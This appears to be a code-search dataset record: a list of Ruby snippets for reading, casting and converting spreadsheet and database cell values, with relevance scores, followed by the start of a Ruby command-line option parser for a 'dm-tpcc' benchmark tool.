cell.name == 'f'\n if cell.name == 'f'\n formula = cell.content\n end\n #TODO: if cell.name == 'v'\n if cell.name == 'v'\n if tmp_type == :time or tmp_type == :datetime\n if cell.content.to_f >= 1.0 \n if (cell.content.to_f - cell.content.to_f.floor).abs > 0.000001 \n tmp_type = :datetime \n else\n tmp_type = :date\n end\n else\n end \n end\n excelx_type = [:numeric_or_formula,format.to_s]\n excelx_value = cell.content\n if tmp_type == :shared\n vt = :string\n str_v = @shared_table[cell.content.to_i]\n excelx_type = :string\n elsif tmp_type == :boolean\n vt = :boolean\n cell.content.to_i == 1 ? v = 'TRUE' : v = 'FALSE'\n elsif tmp_type == :date\n vt = :date\n v = cell.content\n elsif tmp_type == :time\n vt = :time\n v = cell.content\n elsif tmp_type == :datetime\n vt = :datetime\n v = cell.content\n elsif tmp_type == :formula\n vt = :formula\n v = cell.content.to_f #TODO: !!!!\n else\n vt = :float\n v = cell.content\n end\n #puts \"vt: #{vt}\" if cell.text.include? \"22606.5120\"\n #TODO: x,y = split_coordinate(c.attributes.to_h['r'])\n x,y = split_coordinate(c['r'])\n tr=nil #TODO: ???s\n set_cell_values(sheet,x,y,0,v,vt,formula,tr,str_v,excelx_type,excelx_value,s_attribute)\n end\n end\n end\n sheet_found = true #TODO:\n if !sheet_found\n raise RangeError\n end\n @cells_read[sheet] = true\n end", "def to_excel(value)\n if value.try :respond_to?, :gsub\n value.gsub(/[\\t\\n\\r]/, \" \")\n else\n value\n end\n end", "def convert\n end", "def convert\n end", "def dbms_type_cast(columns, values)\n int_column = {}\n columns.each_with_index do |c, i|\n int_column[i] = c.type == 3 && c.scale == 0\n end\n\n float_column = {}\n columns.each_with_index do |c, i|\n float_column[i] = c.type == 3 && c.scale != 0\n end\n\n values.each do |row|\n row.each_index do |idx|\n val = row[idx]\n if val\n if int_column[idx]\n row[idx] = val.to_i\n elsif float_column[idx]\n row[idx] = val.to_f\n elsif val.is_a?(String)\n row[idx] = val.force_encoding('UTF-8')\n end\n end\n end\n end\n end", "def cell(row, col, sheet = nil)\n sheet ||= default_sheet\n read_cells(sheet)\n row, col = normalize(row, col)\n if celltype(row, col, sheet) == :date\n yyyy, mm, dd = @cell[sheet][[row, col]].to_s.split('-')\n return Date.new(yyyy.to_i, mm.to_i, dd.to_i)\n end\n\n @cell[sheet][[row, col]]\n end", "def set_value(row,col,value,sheet=nil)\n sheet = @default_sheet unless sheet\n raise RangeError, \"sheet not set\" unless sheet\n #@@ Set and pass sheet_no\n begin\n sheet_no = sheets.index(sheet)+1\n rescue\n raise RangeError, \"invalid sheet '\"+sheet.to_s+\"'\"\n end\n row,col = normalize(row,col)\n @gs.add_to_cell_roo(row,col,value,sheet_no)\n # re-read the portion of the document that has changed\n if @cells_read[sheet]\n key = \"#{row},#{col}\"\n (value, value_type) = determine_datatype(value.to_s)\n @cell[sheet][key] = value \n @cell_type[sheet][key] = value_type \n end\n end", "def absolute_value(cell_value)\n validate_value(cell_value)\n end", "def convert!; end", "def cellval(x,y)\n xy = \"#{x}_#{y}\"\n @cells = { }\n begin\n @cells[xy] = RobustExcelOle::Cell.new(@ole_worksheet.Cells.Item(x, y))\n @cells[xy].Value\n rescue\n raise RangeNotEvaluatable, \"cannot read cell (#{p1.inspect},#{p2.inspect})\"\n end\n end", "def mergevalues(m, col, row, valuecell)\n if valuecell != nil\n valuecell.xlcoords=(col.col_name)+(row+1).to_s\n m[row, col]=valuecell\n return m, valuecell\n else\n valuecell=Cell.new\n valuecell.xlcoords=(col.col_name)+(row+1).to_s\n m[row, col]=valuecell\n return m, valuecell\n end\n end", "def convert(column_name, value)\n return value unless value.is_a?(String)\n column_charset = @columns_charset[column_name]\n if column_charset\n converter = @converters[column_charset]\n converter.convert(value)\n elsif @charset\n converter = @converters[@charset]\n converter.convert(value)\n else\n value\n end\n end", "def map_values(row, columns)\n values = columns.map do |v|\n # TODO - stw - which other cases do we need to handle?\n case v[1]\n when /int/: \n row[v[0]] || 'NULL'\n else \n (row[v[0]].nil? ? 'NULL' : \"'\" + @db1.escape_string(row[v[0]].to_s) + \"'\")\n end\n end\n values = values.join(',') \n end", "def value_coercion(value); end", "def adapt_table_cell(cell_ast)\n adapted_cell = {}\n\n # Saving off the original data\n save_original_data(adapted_cell, cell_ast)\n\n adapted_cell['value'] = cell_ast.value\n adapted_cell['line'] = cell_ast.location.line\n adapted_cell['column'] = cell_ast.location.column\n\n adapted_cell\n end", "def convert_single_row(sheet_data, row)\r\n col = 0\r\n @test_data[row[0].value] = {}\r\n until sheet_data[0][col += 1].nil? do\r\n convert_single_cell(sheet_data, row, col)\r\n end\r\n end", "def convert_value(value)\n value\n end", "def values value_type = :formatted_value\n return @values unless @values.nil?\n\n @values = []\n while @rowset.next do\n @values << 1.upto(self.columns.size).map do |i|\n @rowset.getString i\n end\n end\n\n @values\n end", "def excelx_type(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n return @excelx_type[sheet][[row,col]]\n end", "def text(cell_value)\n texts(cell_value).join(', ')\n end", "def value=(val)\n data_type = @data_type = data_type_for_value(val)\n if data_type == TYPE_STRING\n # percentage detection\n percentage_search = PERCENTAGE_RE.match(val)\n if percentage_search && val.strip != '%'\n val = val.gsub('%', '').to_f / 100.0\n set_value_explicit(val, TYPE_NUMERIC)\n style.number_format.format_code = Xl::NumberFormat::FORMAT_PERCENTAGE\n return true\n end\n\n # time detection\n # time_search = TIME_RE.match(val)\n # if time_search\n # sep_count = val.count(':')\n # if sep_count == 1\n # h, m = val.split(':').map(&:to_i)\n # s = 0\n # elsif sep_count == 2\n # h, m, s = val.split(':').map(&:to_i)\n # end\n # days = (h / 24.0) + (m / 1440.0) + (s / 86400.0)\n # set_value_explicit(days, TYPE_NUMERIC)\n # style.number_format.format_code = Xl::NumberFormat::FORMAT_DATE_TIME3\n # return true\n # end\n elsif data_type == TYPE_NUMERIC\n # date detection\n if (Xl::DateHelper.datelike?(val))\n val = Xl::DateHelper.ruby_to_excel(val)\n set_value_explicit(val, TYPE_NUMERIC)\n style.number_format.format_code = Xl::NumberFormat::FORMAT_DATE_YYYYMMDD2\n return true\n end\n end\n set_value_explicit(val, data_type)\n end", "def process_row(row)\n row.to_s\n end", "def celltype(row, col, sheet = default_sheet)\n read_cells(sheet)\n row, col = normalize(row, col)\n if @formula.size > 0 && @formula[sheet][\"#{row},#{col}\"]\n :formula\n else\n @cell_type[sheet][\"#{row},#{col}\"]\n end\n end", "def excel_calculate_sheet(sheet)\n excel_calculated_cells.clear\n\n # Iterate over the used range calculating each cell.\n # The result of each cell is then saved.\n data = []\n begin\n sheet.UsedRange.Rows.each do |row|\n data << row_data = []\n row.Cells.each do |cell|\n # Calculate the cell if required.\n excel_calculate_cell(cell) if cell.HasFormula\n # Get the un-formatted value of this field.\n value = cell.Value2\n row_data << value\n end\n end\n rescue\n @logger.error(format_exception)\n data << [\"#{$!.message} (#{$!.class.name})\"]\n data << [$!.backtrace.join(\"\\n\")]\n end\n # Return the 2d array with all the data.\n data\n end", "def text(cell_value)\n apply_format(cell_value, format, option.merge(:delimiter => '')).to_s\n end", "def to_latex(sheetname: @xlsx.default_sheet,\n string_format: @string_format,\n float_format: @float_format,\n date_format: @date_format,\n time_format: @time_format,\n bool_true: @bool_true, bool_false: @bool_false,\n auto_width: @auto_width,\n xxx: nil\n )\n @xlsx.sheet(sheetname) #set default sheetname\n sheet = @xlsx.sheet_for(sheetname)\n @log.info(\"Convert Sheet %s to LaTeX\" % sheetname)\n \n tex = []\n max_columns = 1\n widths = Hash.new(0) #maximum width per column. Needed for auto_width\n sheet.each_row do |line|\n lineval = []\n max_columns = @xlsx.last_column if @xlsx.last_column > max_columns\n line.each_with_index{| cell,colnum |\n @log.debug(\"%s(%i,%i): %s <%s> %s\" % [sheetname,cell.coordinate.column,cell.coordinate.row, cell.type.inspect, cell.value.inspect, cell.inspect]) if @log.debug?\n right_justified = false\n \n case cell.type\n when nil #Overwritten parts in multicol/multirow\n @log.warn(\"%s(%i,%i) contains Nil - Ok for multicolumn. Multirow is not supported\" % [sheetname,cell.coordinate.column,cell.coordinate.row])\n case lineval.last\n when /multicolumn\\{(\\d+)\\}/\n lineval.last.sub!(/multicolumn\\{(\\d+)\\}/, 'multicolumn{%i}' % [$1.to_i + 1])\n else #First combined cell\n #Ignore the width of the mutlicolumn command.\n #I expect the merged cells are long enough to compensate the additional length\n widths[colnum-1] = lineval.last.size if lineval.last.size > widths[colnum-1]\n lineval << ('\\multicolumn{2}{c}{%s}' % lineval.pop)\n end\n next\n when :float\n value = float_format % cell.value\n when :string\n value = string_format % cell.value\n when :formula\n @log.info(\"%s(%i,%i): Found formula %s. Take result %s\" % [sheetname,cell.coordinate.column,cell.coordinate.row, cell.formula, cell.value])\n value = cell.value\n when :boolean\n value = case cell.value\n when 'TRUE'; bool_true\n when 'FALSE'; bool_false\n else\n @log.warn(\"Don't know how to handle boolean %s\" % cell.value)\n cell.value\n end\n when :date\n value = cell.value.strftime(date_format)\n when :datetime\n value = cell.value.strftime(time_format)\n else\n #~ * :date * :percentage * :time * :datetime.\n @log.error(\"%s(%i,%i) Undefined celltype %s -%s\" % [sheetname,cell.coordinate.column,cell.coordinate.row,cell.type.inspect, cell.inspect])\n #~ value = cell.excelx_value\n value = cell.value\n end\n if value.respond_to?(:gsub)\n value.gsub!('<', '\\textless{}')\n value.gsub!('>', '\\textgreater{}')\n value.gsub!('$', '\\$')\n value.gsub!('&', '\\&')\n value.gsub!('%', '\\%')\n end\n \n if font = @xlsx.font(cell.coordinate.row,cell.coordinate.column)\n value = '\\textbf{%s}' % value.strip if font.bold?\n value = '\\emph{%s}' % value.strip if font.italic?\n value = '\\underline{%s}' % value.strip if font.underline?\n value = string_format % value if cell.type == :string\n end\n lineval << value\n widths[colnum] = value.to_s.size if value.to_s.size > widths[colnum]\n }\n tex << lineval\n end\n #Prepare auto width if requested\n tex.map{|tabline|\n tabline.map!.with_index{|cell,i| \n if cell =~ /\\\\multicolumn\\{(\\d+)\\}/ #Calculate offset for next column\n width = -3 #3 corresponds to the ' & ' and we need one less.\n i.upto($1.to_i){|i2| width += widths[i2] + 3} #calculate width up to next cell\n '%-*s' % [width,cell]\n else\n '%*s' % [widths[i],cell]\n end\n }\n } if auto_width\n\n [\n \"\\\\begin{tabular}{%s}\" % ('c|'* max_columns),\n tex.map{|tabline| tabline.join(' & ')}.join(\"\\\\\\\\\\n\"),\n '\\end{tabular}'\n ].join(\"\\n\")\n end", "def to_safe_format!\n rows { |r| r.map! { |v|\n if v.is_a?( String )\n v[0] == '=' ? v.sub( /\\A=/,\"'=\" ) : v\n else\n v.to_s\n end\n } }; self\n end", "def convert_values\n @x_size = @x_size.to_i\n @y_size = @y_size.to_i\n @x_offset = @x_offset.to_i\n @y_offset = @y_offset.to_i\n @point = @point.to_s\n @blank_space = @blank_space.to_s\n end", "def store_translation_from_xlsx_cell locale, key, cell\n value = cell.nil? ? '' : cell\n\n if locale.present? && key.present?\n translation = Translation.find_or_initialize_by locale: locale, key: key\n if translation.value != value\n translation.value = value\n translation.save\n end\n end\n end", "def to_s(sheet = nil)\n sheet ||= default_sheet\n read_cells(sheet)\n @cell[sheet].inspect\n end", "def _normalize( rows )\n rows.map do |row|\n h = row['_id']\n h['value'] = row['value'].to_i\n h\n end\n ensure\n rows.close\n end", "def parse_local_cell(workbook_cell)\n return Workbook::NilValue.new(:covered) if @cell.name == \"covered-table-cell\"\n configure_cell_attributes(workbook_cell)\n valuetype = @cell.xpath(\"@office:value-type\").to_s\n parse_local_value(valuetype)\n end", "def cast_value\n value.mongoize\n end", "def to_s_corrected\n @cells.map { |row| row.join(' ') }.join(\"\\n\")\n end", "def row_values(row)\r\n assert_exists\r\n arr_rows = rows\r\n cells = arr_rows[row - 1].cells\r\n values = Array.new(cells.length)\r\n for i in 0..cells.length - 1 do\r\n values[i] = cells[i].to_s\r\n end\r\n return values\r\n end", "def cast_value(v)\r\n return nil if v.nil?\r\n if @type == :date\r\n self.style = STYLE_DATE if self.style == 0\r\n v\r\n elsif (@type == :time && v.is_a?(Time)) || (@type == :time && v.respond_to?(:to_time))\r\n self.style = STYLE_DATE if self.style == 0\r\n # one simple little fix. I DO NOT WANT TIME IN LOCAL TIME!\r\n unless v.is_a?(Time)\r\n v = v.respond_to?(:to_time) ? v.to_time : v\r\n end\r\n v\r\n elsif @type == :float\r\n v.to_f\r\n elsif @type == :integer\r\n v.to_i\r\n elsif @type == :boolean\r\n v ? 1 : 0\r\n elsif @type == :iso_8601\r\n #consumer is responsible for ensuring the iso_8601 format when specifying this type\r\n v\r\n else\r\n @type = :string\r\n # TODO find a better way to do this as it accounts for 30% of\r\n # processing time in benchmarking...\r\n Axlsx::trust_input ? v.to_s : ::CGI.escapeHTML(v.to_s)\r\n end\r\n end", "def convert(loc)\n row = loc[1].to_i\n col = @hash[loc[0]]\n return [row,col]\n end", "def extract_data(args = {})\n raw_values = args.delete(:raw) || false\n return @sheet_data.map {|row| row.map {|c| if c.is_a?(Cell) then c.value(:raw => raw_values) else nil end}}\n end", "def convert_row(row_hash)\n result = ''\n row_hash.each_value do|col|\n result << '<td>'\n case col\n # Handle simple columns here, pass off more complex ones\n when String, Fixnum then result << col.to_s\n when NilClass then result << ''\n when Array then result << convert_array(col)\n else\n result << 'Unknown data type!!!'\n end\n result << '</td>'\n end\n result\n end", "def write_cell(row, column, value, format = nil)\n if value.is_a?(Numeric)\n @worksheet.write_number(row, column, value, format)\n else\n @worksheet.write_string(row, column, value, format)\n end\n\n # return the value\n value\n end", "def read_cell_date_or_time(row, idx)\n cell = read_cell_content(row, idx)\n cell = cell.to_s.to_f\n if cell < 1.0\n value_type = :time\n f = cell * 24.0 * 60.0 * 60.0\n secs = f.round\n h = (secs / 3600.0).floor\n secs = secs - 3600 * h\n m = (secs / 60.0).floor\n secs = secs - 60 * m\n s = secs\n value = h * 3600 + m * 60 + s\n else\n datetime = row.send(:_datetime, cell)\n\n if datetime.hour != 0 ||\n datetime.min != 0 ||\n datetime.sec != 0\n value_type = :datetime\n value = datetime\n else\n value_type = :date\n value = row.send(:_date, cell)\n end\n end\n\n [value_type, value]\n end", "def user_values(values)\n values.each_with_object({}) do |row_value, data|\n key, value = row_value.strip.split(/:\\s?/)\n data[key] = Float(value)\n end\nend", "def celltype(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula.size > 0 && @formula[sheet][\"#{row},#{col}\"]\n return :formula\n else\n @cell_type[sheet][\"#{row},#{col}\"]\n end\n end", "def to_f(general_votes_cell)\n general_votes_cell.gsub(/[^0-9]/, '').to_f\n end", "def celltype(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][[row,col]]\n return :formula\n else\n @cell_type[sheet][[row,col]]\n end\n end", "def formula(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][\"#{row},#{col}\"] == nil\n return nil\n else\n return @formula[sheet][\"#{row},#{col}\"] \n end\n end", "def convert_values(source, destiny, weigth)\n [Integer(source), Integer(destiny), Float(weigth)]\n end", "def dbms_type_cast(columns, rows)\n # Cast the values to the correct type\n columns.each_with_index do |column, col_index|\n #puts \" #{column.name} type #{column.type} length #{column.length} nullable #{column.nullable} scale #{column.scale} precision #{column.precision} searchable #{column.searchable} unsigned #{column.unsigned}\"\n rows.each do |row|\n value = row[col_index]\n\n new_value = case\n when value.nil?\n nil\n when [ODBC::SQL_CHAR, ODBC::SQL_VARCHAR, ODBC::SQL_LONGVARCHAR].include?(column.type)\n # Do nothing, because the data defaults to strings\n # This also covers null values, as they are VARCHARs of length 0\n value.is_a?(String) ? value.force_encoding(\"UTF-8\") : value\n when [ODBC::SQL_DECIMAL, ODBC::SQL_NUMERIC].include?(column.type)\n column.scale == 0 ? value.to_i : value.to_f\n when [ODBC::SQL_REAL, ODBC::SQL_FLOAT, ODBC::SQL_DOUBLE].include?(column.type)\n value.to_f\n when [ODBC::SQL_INTEGER, ODBC::SQL_SMALLINT, ODBC::SQL_TINYINT, ODBC::SQL_BIGINT].include?(column.type)\n value.to_i\n when [ODBC::SQL_BIT].include?(column.type)\n value == 1\n when [ODBC::SQL_DATE, ODBC::SQL_TYPE_DATE].include?(column.type)\n value.to_date\n when [ODBC::SQL_TIME, ODBC::SQL_TYPE_TIME].include?(column.type)\n value.to_time\n when [ODBC::SQL_DATETIME, ODBC::SQL_TIMESTAMP, ODBC::SQL_TYPE_TIMESTAMP].include?(column.type)\n value.to_datetime\n # when [\"ARRAY\"?, \"OBJECT\"?, \"VARIANT\"?].include?(column.type)\n # TODO: \"ARRAY\", \"OBJECT\", \"VARIANT\" all return as VARCHAR\n # so we'd need to parse them to make them the correct type\n\n # As of now, we are just going to return the value as a string\n # and let the consumer handle it. In the future, we could handle\n # if here, but there's not a good way to tell what the type is\n # without trying to parse the value as JSON as see if it works\n # JSON.parse(value)\n when [ODBC::SQL_BINARY].include?(column.type)\n # These don't actually ever seem to return, even though they are\n # defined in the ODBC driver, but I left them in here just in case\n # so that future us can see what they should be\n value\n else\n # the use of @connection.types() results in a \"was not dropped before garbage collection\" warning.\n raise \"Unknown column type: #{column.type} #{@connection.types(column.type).first[0]}\"\n end\n\n row[col_index] = new_value\n end\n end\n rows\n end", "def cell_to_rowcol(cell)\n cell =~ /\\$?([A-I]?[A-Z])\\$?(\\d+)/\n col = $1\n row = $2.to_i\n\n # Convert base26 column string to number\n # All your Base are belong to us.\n chars = col.split(//)\n expn = 0\n col = 0\n\n while (!chars.empty?)\n char = chars.pop # LS char first\n col = col + (char[0] - \"A\"[0] +1) * (26**expn)\n expn = expn + 1\n end\n\n # Convert 1-index to zero-index\n row -= 1\n col -= 1\n\n return [row, col]\n end", "def set(row, col, value, sheet = default_sheet)\n validate_sheet!(sheet)\n\n sheet_no = sheets.index(sheet) + 1\n row, col = normalize(row, col)\n add_to_cell_roo(row, col, value, sheet_no)\n # re-read the portion of the document that has changed\n if @cells_read[sheet]\n value, value_type = determine_datatype(value.to_s)\n\n _set_value(row, col, value, sheet)\n set_type(row, col, value_type, sheet)\n end\n end", "def contents_of(cell)\n \" \"\n end", "def set(row,col,value,sheet=nil) #:nodoc:\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n set_value(row,col,value,sheet)\n if value.class == Fixnum\n set_type(row,col,:float,sheet)\n elsif value.class == String\n set_type(row,col,:string,sheet)\n elsif value.class == Float\n set_type(row,col,:string,sheet)\n else\n raise ArgumentError, \"Type for \"+value.to_s+\" not set\"\n end\n end", "def locales_from_xlsx_sheet_row row\n locales = []\n row.each_with_index do |cell, i|\n if i > 0\n locales.push(cell.downcase)\n end\n end\n locales\n end", "def to_s(sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n @cell[sheet].inspect\n end", "def make_val(row_value, column_type)\n val = row_value\n if (row_value.nil?)\n val = 'NULL'\n else\n if (column_type == 'varchar' || column_type == 'text' || column_type == 'blob')\n val = \"'#{ Mysql2::Client.escape(row_value) }'\"\n elsif (column_type == 'datetime')\n # datetime values come back like '2014-12-25 11:11:11 -0500' and we want to remove the timezone offset\n val = \"'#{/(\\S* \\S*) .*/.match(val.to_s)[1]}'\"\n end\n end\n val\n end", "def set_value(row,col,value,sheet=nil)\n sheet = @default_value unless sheet\n @cell[sheet][[row,col]] = value\n end", "def column_value(rec, drawer)\n if (enum = drawer.vc.get_enum(rec.class, @ar_column_info))\n drawer.vc.draw_column_enum(rec, @ar_column_info, enum)\n else\n case @ar_column_info.type\n when :datetime\n drawer.vc.datetime_fmt(rec.send(name))\n when :date\n drawer.vc.date_fmt(rec.send(name))\n when :integer\n rec.send(name).to_s\n when :boolean\n rec.send(name) ? '√' : ''\n else\n # NOTE: rec.send(col.name) is not used since sssn.send(:data)\n # becomes hash rather than actual string-data so that following\n # split() fails for Hash.\n if str = rec.attributes[name]\n draw_trimmed_str(str)\n else\n ''\n end\n end\n end\n end", "def cast_value(value) # :doc:\n value\n end", "def substitute_cellref(cell, *args) #:nodoc:\n return [*args] if cell.kind_of?(Numeric)\n \n cell.upcase!\n\n # Convert a column range: 'A:A' or 'B:G'.\n # A range such as A:A is equivalent to A1:65536, so add rows as required\n if cell =~ /\\$?([A-I]?[A-Z]):\\$?([A-I]?[A-Z])/\n row1, col1 = cell_to_rowcol($1 +'1')\n row2, col2 = cell_to_rowcol($2 +'65536')\n return [row1, col1, row2, col2, *args]\n end\n\n # Convert a cell range: 'A1:B7'\n if cell =~ /\\$?([A-I]?[A-Z]\\$?\\d+):\\$?([A-I]?[A-Z]\\$?\\d+)/\n row1, col1 = cell_to_rowcol($1)\n row2, col2 = cell_to_rowcol($2)\n return [row1, col1, row2, col2, *args]\n end\n\n # Convert a cell reference: 'A1' or 'AD2000'\n if (cell =~ /\\$?([A-I]?[A-Z]\\$?\\d+)/)\n row1, col1 = cell_to_rowcol($1)\n return [row1, col1, *args]\n\n end\n\n raise(\"Unknown cell reference #{cell}\")\n end", "def celltype(row, col, sheet = nil)\n sheet ||= @default_sheet\n read_cells(sheet)\n\n @cell_type[sheet].fetch(normalize(row, col).to_a, nil)\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n raise RangeError, \"illegal sheet <#{sheet}>\" unless sheets.index(sheet)\n sheet_no = sheets.index(sheet)+1\n xml = @gs.fulldoc(sheet_no).to_s\n doc = XML::Parser.string(xml).parse\n doc.find(\"//*[local-name()='cell']\").each do |item|\n row = item['row']\n col = item['col']\n key = \"#{row},#{col}\"\n string_value = item['inputvalue'] || item['inputValue'] \n numeric_value = item['numericvalue'] || item['numericValue'] \n (value, value_type) = determine_datatype(string_value, numeric_value)\n @cell[sheet][key] = value unless value == \"\" or value == nil\n @cell_type[sheet][key] = value_type \n @formula[sheet] = {} unless @formula[sheet]\n @formula[sheet][key] = string_value if value_type == :formula\n end\n @cells_read[sheet] = true\n end", "def [] column_number_or_name\n ole_cell = ole_table.Application.Intersect(\n @ole_tablerow.Range, ole_table.ListColumns.Item(column_number_or_name).Range)\n value = ole_cell.Value\n value.respond_to?(:gsub) ? value.encode('utf-8') : value\n rescue WIN32OLERuntimeError\n raise TableRowError, \"could not determine the value at column #{column_number_or_name}\\n#{$!.message}\"\n end", "def transform_row(row)\n row\n end", "def _reduce_493(val, _values, result)\n result = \"&#{value(val[1])}\".to_sym\n \n result\nend", "def call(s)\n convert(convert_format(convert_columns(Splitter.new(s).parse)))\n end", "def values_str_to_real\n self.each do |k,v|\n v = case v.class.to_s\n when 'Hash', 'Array' then v.values_str_to_real\n when 'String' then\n case v\n when \"true\" then true\n when \"false\" then false\n when \"nil\", \"null\" then nil\n else v\n end\n else v\n end\n self[k] = v\n end\n end", "def value\n value = begin\n if !::RANGES_JRUBY_BUG \n intersection_range = ole_range.Application.Intersect(ole_range, worksheet.Range(\n worksheet.Cells(1,1),worksheet.Cells(worksheet.last_row,worksheet.last_column)))\n begin\n intersection_range.Value \n rescue \n nil\n end\n else\n # optimization is possible here\n rows_used_range = [rows, last_row].min\n columns_used_rage = [columns, last_column].min\n values = rows_used_range.map{|r| columns_used_range.map {|c| worksheet.Cells(r,c).Value} }\n (values.size==1 && values.first.size==1) ? values.first.first : values\n end\n rescue\n raise RangeNotEvaluatable, \"cannot evaluate range #{self.inspect}\\n#{$!.message}\"\n end\n if value == -2146828288 + RobustExcelOle::XlErrName\n raise RangeNotEvaluatable, \"cannot evaluate range #{self.inspect}\"\n end\n value\n end", "def convert_tile_to_number(cell)\n row = cell['row']\n column = cell['column']\n convert = {}\n nums = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n letters = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I']\n letters.zip(nums) do |letter, num|\n convert[letter] = num\n end\n\n cell_number = ((convert[row] - 1)* 12) + (column - 1)\n response = cell_number\n\n if !cell['current_color'].nil?\n response = [cell_number, cell['current_color']]\n end\n\n response\n end", "def converters; end", "def converters; end", "def converters; end", "def [](row, col)\n val = @vals[row * @col_count + col]\n val && val.length > 0 && cell_type(row, col) == GRID_TYPE_DATA ? val.to_f : val\n end", "def converted_value\n if @converter\n @converter.call(@value)\n else\n @value\n end\n end", "def convert(value, from, to)\n value * get(from, :against => to)\n end", "def parse_local_value(valuetype)\n value = CGI.unescapeHTML(@cell.xpath(\"text:p//text()\").to_s)\n value = value == \"\" ? nil : value\n case valuetype\n when \"integer\"\n value = @cell.xpath(\"@office:value\").to_s.to_i\n when \"float\"\n value = @cell.xpath(\"@office:value\").to_s.to_f\n value = value.to_i unless @cell.xpath(\"@office:value\").to_s =~ /\\./ # sadly most integers are typed as floats...\n when \"date\"\n value = DateTime.parse(@cell.xpath(\"@office:date-value\").to_s)\n end\n value\n end", "def parse_value(val, type)\n return nil if val.nil? || val.to_s.strip == ''\n \n case type\n when :raw then\n val\n \n when :string then\n if val.is_a?(Float)\n # Sometimes float values come in for \"integer\" columns from Excel,\n # so if the user asks for a string, strip off that \".0\" if present\n val.to_s.gsub(/\\.0+$/, '')\n else\n # Strip whitespace and we're good to go\n val.to_s.strip\n end\n \n when :integer, :int then \n if val.class < Numeric\n # If numeric, verify that there's no decimal places to worry about\n if (val.to_f % 1.0 == 0.0)\n val.to_i\n else\n nil\n end\n else \n # Convert to string, strip off trailing decimal zeros\n val = val.to_s.strip.gsub(/\\.0*$/, '')\n if val.integer?\n val.to_i\n else\n nil\n end\n end\n \n when :float then\n if val.class < Numeric\n val.to_f\n else \n # Clean up then verify it matches a valid float format & convert\n val = val.to_s.strip\n if val.match(/\\A-?[0-9]+(?:\\.[0-9]+)?\\z/)\n val.to_f\n else\n nil\n end\n end\n \n when :cents then\n if val.is_a?(String)\n val = val.gsub(/\\s*\\$\\s*/, '')\n end\n intval = parse_value(val, :integer)\n if !val.is_a?(Float) && intval\n intval * 100\n else\n floatval = parse_value(val, :float)\n if floatval\n (floatval * 100).round\n else\n nil\n end\n end\n \n when :date then\n # Pull out the date part of the string and convert\n date_str = val.to_s.extract(/[0-9]+[\\-\\/][0-9]+[\\-\\/][0-9]+/)\n date_str.to_date rescue nil\n \n when :bool then\n val_str = parse_value(val, :string).to_s.downcase\n if ['true','yes','y','t','1'].include?(val_str)\n return true\n elsif ['false','no','n','f','0'].include?(val_str)\n return false\n else\n nil\n end\n \n else\n raise \"Unknown column type #{type.inspect} - unimplemented?\"\n end\n end", "def cell(row, column)\n row = row(row)\n cell_value( row.get_or_create_cell( column ) )\n end", "def formula(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][[row,col]] == nil\n return nil\n else\n return @formula[sheet][[row,col]]\n end\n end" ]
[ "0.7384045", "0.69950825", "0.66986823", "0.6696113", "0.65047073", "0.64213437", "0.6411648", "0.63800704", "0.63283294", "0.62727237", "0.6262628", "0.62571836", "0.6235969", "0.6142947", "0.6098324", "0.6096537", "0.6096537", "0.59997606", "0.5998472", "0.5991291", "0.5989564", "0.5879086", "0.583091", "0.5823509", "0.5793874", "0.5786774", "0.5786774", "0.5722485", "0.57079816", "0.5705164", "0.56978846", "0.5693852", "0.5672366", "0.56364226", "0.5633387", "0.5630446", "0.56155354", "0.5602655", "0.558795", "0.55788755", "0.55458224", "0.55443794", "0.5544125", "0.55346435", "0.5530465", "0.54985887", "0.5490434", "0.54837185", "0.54602575", "0.5433553", "0.5432558", "0.542423", "0.5405752", "0.53984094", "0.5396696", "0.53851324", "0.5382357", "0.53803235", "0.5378706", "0.5369217", "0.5344253", "0.53362197", "0.5332248", "0.5322701", "0.53163284", "0.52988946", "0.52944815", "0.5293727", "0.5293343", "0.52925396", "0.5267426", "0.5263251", "0.52628195", "0.52544177", "0.52525556", "0.52487314", "0.5245763", "0.5231224", "0.523039", "0.5222056", "0.5215707", "0.5215075", "0.5210768", "0.52000034", "0.51974595", "0.5195523", "0.5193289", "0.51882386", "0.51797366", "0.517147", "0.5171349", "0.517118", "0.517118", "0.517118", "0.5160305", "0.51564634", "0.5149455", "0.51438475", "0.5133274", "0.5131844", "0.5127241" ]
0.0
-1
Parse command line options.
def parse_options(args) program = Pathname.new(__FILE__).realpath header = <<-END_HEADER # Running #{program} on #{Time.now} # Command-line arguments are: #{args} # Command-line to reproduce: #{program} #{args.join(" ")} # END_HEADER timestamp = Time.now.strftime("%Y%m%d%H%M%S") current_dir = Pathname.pwd output_basename = current_dir + "log" output_basename.mkdir unless output_basename.directory? options = OpenStruct.new options.log_level = :off options.log_destination = STDOUT options.db_url = { :adapter => :in_memory } options.generate = nil options.time = 60 options.profile_strings = false options.output_filename = "dm-tpcc-#{timestamp}.out" options.data_directory = current_dir + "data" options.load = false options.save_data = false opts = OptionParser.new do |opts| opts.banner = "Usage: dm-tpcc [options]" opts.separator "" opts.on("-g NUM_WAREHOUSES", "--generate NUM_WAREHOUSES", Integer, "Generate data for the number of warehouses.") do |g| options.generate = g end opts.on("-s DIRECTORY_NAME", "--save DIRECTORY_NAME", "Save generated data for later use.") do |s| options.data_directory = s unless (s.nil? || s.empty?) end opts.on("-S", "--save-data", "Save generated data for later use.") do |s| options.save_data = s end opts.on("-D", "--load-data", "Load data from saved datasets.") do |l| options.load = l end opts.on("--profile-string-algorithms", "Profile different string generators") do |sg| options.profile_strings = sg end opts.on("-d DB_URL", "--db-url DB_URL", String, "Specify a DataMapper DB URL") 